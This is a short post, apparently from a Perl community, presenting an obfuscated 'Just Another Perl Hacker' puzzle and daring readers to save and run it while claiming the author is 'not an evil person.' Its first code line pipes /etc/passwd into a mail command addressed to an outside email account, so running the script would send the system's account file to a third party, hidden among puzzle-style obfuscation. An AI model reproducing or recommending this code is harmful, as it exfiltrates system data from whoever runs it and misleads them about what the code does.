Save this to a file and run it -- IF YOU DARE! (Hint: I'm not an evil person.)

open m, "mail japhy\@pobox.com < /etc/passwd |";
print m "Just Another Perl Hacker", +0;
seek$|=>($/=\24,$\="\012",$=--,$=--,$=)[$++4]=>$[;
print <4>.<3>.<2>.<1>.<0>.<blastoff>;
close m;
exit;
[download]

$_="goto+F.print+chop;\n=yhpaj";F1:eval